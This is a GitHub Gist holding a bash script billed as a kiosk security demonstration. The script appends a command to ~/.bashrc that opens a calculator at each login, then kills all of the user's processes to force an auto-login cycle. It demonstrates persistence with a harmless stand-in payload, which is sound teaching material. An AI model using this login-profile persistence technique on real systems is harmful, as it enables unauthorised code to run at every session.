Last active
February 6, 2026 03:41
-
-
Save christian-taillon/25b217bdf409abc751747878bc62c498 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Define the command to be injected | |
| CALC_COMMAND='[[ -n "$DISPLAY" ]] && (pgrep gnome-calculator > /dev/null || gnome-calculator &)' | |
| clear | |
| echo "--- KIOSK SECURITY DEMONSTRATION ---" | |
| echo "Targeting: User Login Configuration (~/.bashrc)" | |
| sleep 4 | |
| echo "" | |
| echo "STEP 1: Persistence" | |
| echo "We are adding a command to the Bash configuration file." | |
| echo "This file executes every time a session starts." | |
| sleep 5 | |
| # Write to the file | |
| if ! grep -qF "$CALC_COMMAND" ~/.bashrc; then | |
| echo "$CALC_COMMAND" >> ~/.bashrc | |
| echo "[SUCCESS] Calculator trigger added to login profile." | |
| else | |
| echo "[NOTICE] Trigger already exists in profile. Moving forward." | |
| fi | |
| sleep 5 | |
| echo "" | |
| echo "STEP 2: The Kiosk Loop" | |
| echo "Most kiosks are set to 'Auto-Login' for convenience." | |
| sleep 5 | |
| echo "When we log out or reboot, the system will immediately" | |
| echo "start a new session, triggering our new code." | |
| sleep 6 | |
| echo "" | |
| echo "STEP 3: Triggering Execution" | |
| echo "Logging out to cycle the session..." | |
| sleep 4 | |
| echo "" | |
| echo "Session closing in:" | |
| for i in {5..1}; do | |
| echo "$i..." | |
| sleep 1 | |
| done | |
| # Force logout to trigger the kiosk's auto-login mechanism | |
| pkill -u $USER |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The one-liner script to prepare the launch of this remote script at login.